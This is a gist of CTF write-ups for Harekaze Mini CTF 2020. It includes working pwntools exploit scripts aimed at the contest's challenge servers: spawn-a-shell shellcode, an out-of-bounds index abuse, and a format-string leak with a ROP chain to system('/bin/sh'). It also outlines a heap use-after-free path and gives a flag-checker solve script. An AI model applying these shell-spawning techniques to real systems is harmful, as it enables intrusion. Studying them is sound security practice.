Skip to content

Instantly share code, notes, and snippets.

@DtxdF
Forked from x0nu11byt3/harekaze_mini_ctf_2020.md
Created March 2, 2021 00:35
Show Gist options
  • Save DtxdF/241da59b4ee28f7b4857ea599e4680b9 to your computer and use it in GitHub Desktop.
Save DtxdF/241da59b4ee28f7b4857ea599e4680b9 to your computer and use it in GitHub Desktop.
Harekaze mini CTF 2020

I played Harekaze Mini CTF 2020 for about 3 hours this weekend. The pwn challenges were nice (I especially enjoyed nm-game-extreme). Here are some short writeups.

shellcode

The program just tells you to provide shellcode that will execute execve("/bin/sh", NULL, NULL). It gives you the address of the "/bin/sh" string, so you just create shellcode to do the job and send it:

#!/usr/bin/env python3

from pwn import *

context.arch = "amd64"

p = remote("20.48.83.165", 20005)

bin_sh = 0x404060

sc = asm(r"""
mov rdi, {}
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
syscall
""".format(bin_sh))

p.sendlineafter(")\n", sc)

p.interactive()

nm-game-extreme

This was a pretty unique challenge in my opinion.

Vulnerability

The bug is in the main function:

int main(void) {
    // [...] Variable declarations

    puts("Be the last to take a pebble!");

    int remaining_games = GAMES;
    while (remaining_games) {
        puts("Creating a new problem...");
        sleep(1);

        int n = min(MAX_GAME_SIZE, GAMES - remaining_games + 1);
        init_game(nums, n);
        bool won = false;
        while (!is_finished(nums, n)) {
            print_state(nums, n);

            int index;
            if (n == 1) {
                index = 0;
            } else {
                do {
                    printf("Choose a heap [0-%d]: ", n - 1);
                    scanf("%d", &index); // [ 1 ]
                } while (nums[index] == 0);
            }
            // [ ... ]
        }
        // [ ... ]
    }
    // [ ... ] Print flag
}

Initially, n will be 1, so the first branch will be taken in the if statement. If we win the first round, then n will be 2, and we will be able to "Choose a heap". When choosing a heap, we pick an index that is not bounds checked at [ 1 ].

This index is later accessed when choosing pebbles to take:

            do {
                printf("How many pebbles do you want to take? ");
                if (nums[index] > 1) {
                    printf("[1-%d]: ", min(3, nums[index]));
                } else {
                    printf("[1]: ");
                }
                scanf("%d", &choice);
            } while (choice < 1 || min(3, nums[index]) < choice);
            nums[index] -= choice; // [ 1 ]
            if (is_finished(nums, n)) {
                won = true;
                break;
            }
            opponent_action(nums, n, &index, &choice);
            printf("The opponent took %d from %d\n", choice, index);
            nums[index] -= choice;

At [ 1 ], whatever value is at that index (that we control) will be subtracted by choice (which we also control, but can be a max of 3). The opponent's index is sanitized in opponent_action, so the opponent won't affect our choice of index.

Exploitation

For exploitation, our objective is to win the game enough times to set remaining_games to 0 so that the main while loop will exit and print out the flag. Unfortunately there is a timeout of 5 minutes, and it's impossible to win the game 400 times in 5 minutes without cheating.

We need to use the bug, and in order to use the bug we have to win the first round. I came up with a naive solution that wins the first round most of the time. It won't win every time so if you want to run my exploit, maybe run it a few times (the success rate is high though).

Once we win the first round, we trigger the bug many times to keep subtracting 3 from remaining_games until it gets set to 6. Once its set to 6, we manually subtract 5 from it to set it to 1. Then, we win the game by subtracting 15 from n (using the same bug) which will cause is_finished to return true, which will make us win.

Note: I found that remaining_games is at index -4, and n is at index -3 through GDB.

#!/usr/bin/env python3

from pwn import *

#p = process("./nmgameex")
p = remote("20.48.84.13", 20003)

n_idx = -3
rem_idx = -4

# First round
def get_problem():
    p.recvline()
    problem = int(p.recvline())
    return problem

# Second round and onwards
def get_problems(new_round=False):
    if not new_round:
        p.recvline()
    else:
        p.recvuntil("problem...\n")

    problems = p.recvline(timeout=3).strip().split(b" ")
    problem_nums = []

    for n in problems:
        problem_nums.append(int(n))

    return problem_nums

# Win the first round (most of the time...)
def first_round():
    p.recvuntil("problem...\n")

    problem = int(p.recvline(timeout=3))

    while problem > 7:
        p.sendlineafter(": ", "1")
        problem = get_problem()

    if problem == 7:
        p.sendlineafter(": ", "3")
    elif problem == 6:
        p.sendlineafter(": ", "2")
    elif problem == 5:
        p.sendlineafter(": ", "1")

    problem = get_problem()
    p.sendlineafter(": ", str(problem))

def other_rounds():
    problems = get_problems(new_round=True)
    remaining_games = 399

    keep_looping = True

    # Loop and keep subtracting 3 from remaining_games until its less than 10
    while keep_looping:
        # Subtract remaining_games
        p.sendlineafter(": ", str(rem_idx))
        p.sendlineafter(": ", "3")
        remaining_games -= 3

        if remaining_games < 9:
            keep_looping = False
            break

        log.info("Remaining games: " + str(remaining_games))

log.info("First round...")
first_round()
log.info("Won first round")

log.info("Getting flag")
other_rounds()

# Right now, remaining_games == 6
# Subtract 5 from remaining_games to set it to 1
p.sendlineafter(": ", str(rem_idx))
p.sendlineafter(": ", "3")
p.sendlineafter(": ", str(rem_idx))
p.sendlineafter(": ", "2")

# Subtract 15 from `n` to end the game, remaining_games gets set to 0
for i in range(5):
    p.sendlineafter(": ", str(n_idx))
    p.sendlineafter(": ", "3")

# The flag is printed to the screen
p.interactive()

kodama

In this challenge we are allowed to trigger a format string vulnerability twice.

My idea for exploitation is to use the first format string to leak a stack address, then use the second format string to overwrite the loop index i to a large negative number. This will give us infinite tries to trigger the format string vulnerability.

Next, I leak a libc address from the stack, and then overwrite past main's return address with a ROP chain that will call system("/bin/sh"):

#!/usr/bin/env python3

from pwn import *

elf = ELF("./kodama")
libc = ELF("./libc.so.6")
#p = process("./kodama", env={"LD_PRELOAD": "./libc.so.6"})
p = remote("20.48.81.63", 20002)

# Receive the initial output from remote
sleep(1)
for i in range(9):
    p.recvline()

# Payload used to leak if needed
leak_payload = "%p %p %p %p %p %p %p %p %p %p %p"

# Leak stack address of our input buffer
p.sendline("%4$p")

# Get addresses of other stack stuff
stack_buf = int(p.recvline(), 16)
ret_addr = stack_buf + 0x38
loop_idx = stack_buf - 4

log.info("Stack buffer: " + hex(stack_buf))
log.info("Loop idx: " + hex(loop_idx))

# Overwrite loop idx to large negative number by overwriting MSB
# Our input starts at format idx 8
payload = b"%239c%10$hhn...." # pad to 16 bytes
payload += p64(loop_idx+3)

p.sendline(payload)

# Infinite format string now, should be easy?

# Clear the screen (kind of..)
p.sendline("")
p.recvline()

# Get libc leak
p.sendline("%3$p")
libc_leak = int(p.recvline(), 16)
libc.address = libc_leak - 0x108cb2
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
pop_rdi = libc.address + 0x2858f
bin_sh = next(libc.search(b"/bin/sh"))

log.info("Libc leak: " + hex(libc_leak))
log.info("Libc base: " + hex(libc.address))

# Arbitrary write, one byte at a time
def arb_write(addr, val):
    log.info("Writing {} to {}".format(hex(val), hex(addr)))

    # We don't have to write the upper two bytes since they're always 0
    bytes_to_write = [
        val & 0xff,
        (val >> 8) & 0xff,
        (val >> 16) & 0xff,
        (val >> 24) & 0xff,
        (val >> 32) & 0xff,
        (val >> 40) & 0xff
    ]

    for i in range(6):
        payload = b"%" + bytes(str(bytes_to_write[i]), 'ascii') + b"c%10$hhn"
        payload = payload.ljust(16, b".")
        payload += p64(addr+i)

        p.sendline(payload)

# Put ropchain on stack to call system("/bin/sh")
arb_write(ret_addr, pop_rdi)
arb_write(ret_addr+8, bin_sh)
arb_write(ret_addr+16, pop_rdi+1)
arb_write(ret_addr+24, system)

# Overwrite loop_idx to 4 to exit the loop
arb_write(loop_idx, 4)

p.interactive()

safe-note

I didn't have time to solve this challenge, but I spent 10-15 minutes to find the bug. The following are the steps to solving (I might miss a thing or two because I didn't write a solve script).

Functionality

The program will let you allocate a maximum of 7 notes (at a time) that are stored in a global array of notes. You specify a size (minimum 1, maximum 0x70), and then size-1 bytes will be read into the allocated buffer (i.e there is always a NULL byte at the end). The size is stored with the note.

You can show a note. This will call puts on the note's contents to print them.

You can move a note. This will move one note's contents into another. It will free the source note and set its index in the global note array to NULL.

You can copy a note. This is the same as a move, except the source note is left untouched.

Vulnerability

The bug is that you can choose the same note for both the source and destination in move. This will free the note but keep a pointer to it in the global notes array which lets you achieve UAF (you have to bypass 2.32 pointer obfuscation, but its easy to get the XOR key by freeing a note and then showing it).

Exploitation

  1. Use the UAF to first get access to the tcache XOR key in order to control the fd of a chunk correctly.

  2. Free another chunk and use the UAF to leak a heap address so we know where we are in the heap.

  3. Use tcache dup to get one chunk overlapped on another chunk's size. Overwrite size to something > 0x90 (lets say we overwrite with 0xa1)

  4. Remember to have fake size and prevsize headers 0xa0 bytes after this corrupted chunk.

  5. Create another chunk (call it the NULL chunk) which will have the contents set to p64(0) + p64(0). The idea now is to free this 0xa1 sized chunk 7 times to fill up the tcache bin. Each time you free it, you need to copy the contents of the NULL chunk into the 0xa1 sized chunk to clear the tcache key (otherwise a double free is detected).

  6. After the 7th free, free it one more time to send it to the unsorted bin. This will insert a libc address into the fd and bk fields. The problem is in libc 2.32, unsorted bin address's LSB is \x00, so we can't show to leak (puts will stop at NULL bytes).

    1. To get the leak, we need to set up the global notes array so that two indices will have a pointer to the same chunk, but size will be set to 1 and 2 respectively for each index.
    2. Using the index with size == 2, we read in one byte (using the allocate function, reading size-1 bytes). Let's say we read in an A.
    3. Next, we copy from the index with size == 1 into our 0xa1 sized chunk. This will overwrite the LSB of the unsorted bin address leak to 0x41.
    4. Finally, we can show to get the leak.
  7. Once we have the leak, just tcache dup again to overwrite __free_hook to system and get a shell. You will have to fix the unsorted bin first by overwriting the LSB back to \x00, but that's easy to do.

easy-flag-checker

The program has a fake flag set to "fakeflag{this_is_not_the_real_flag}". It also has a table of values in the bss segment. It does the following:

__int64 __fastcall check(__int64 my_flag, __int64 fake_flag)
{
  char result; // [rsp+1Bh] [rbp-5h]
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 34; ++i )
  {
    // fake_flag == "fakeflag{this_is_not_the_real_flag}"
    result = (funcs[i % 3])(*(i + fake_flag), table[i]);
    if ( result < *(i + my_flag) )
      return 1LL;
    if ( result > *(i + my_flag) )
      return 0xFFFFFFFFLL;
  }
  return 0LL;
}

funcs is a function table where indices 0, 1, and 2 are add, sub, and xor respectively. So it will take each byte in the fake flag, and either add, subtract, or xor the corresponding value from the table. It will then ensure that our flag's character matches the result exactly. One thing not visible is that after the operation is done, it will also bitwise AND the result with 0xff to get only the lowest byte.

The solve script then becomes:

#!/usr/bin/env python3

table = [
    226, 0, 25, 0, 251, 13, 25, 2, 56, 224, 34, 18, 
    189, 237, 29, 245, 247, 10, 193, 252, 0, 242, 
    252, 81, 8, 19, 6, 7, 57, 60, 5, 57, 19, 186, 0
]

fakeflag = b"fakeflag{this_is_not_the_real_flag}"

flag = ""
for i in range(len(fakeflag)):
    if i % 3 == 0:
        flag += chr((fakeflag[i] + table[i]) & 0xff)
    elif i % 3 == 1:
        flag += chr((fakeflag[i] - table[i]) & 0xff)
    elif i % 3 == 2:
        flag += chr((fakeflag[i] ^ table[i]) & 0xff)


print(flag)

This prints HarekazeCTF{0rthhd0x_fl4g_ch3ck3r!}, which is incorrect. It should be 0rth0d0x, not 0rthhd0x, so I just manually fixed that by inspection.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment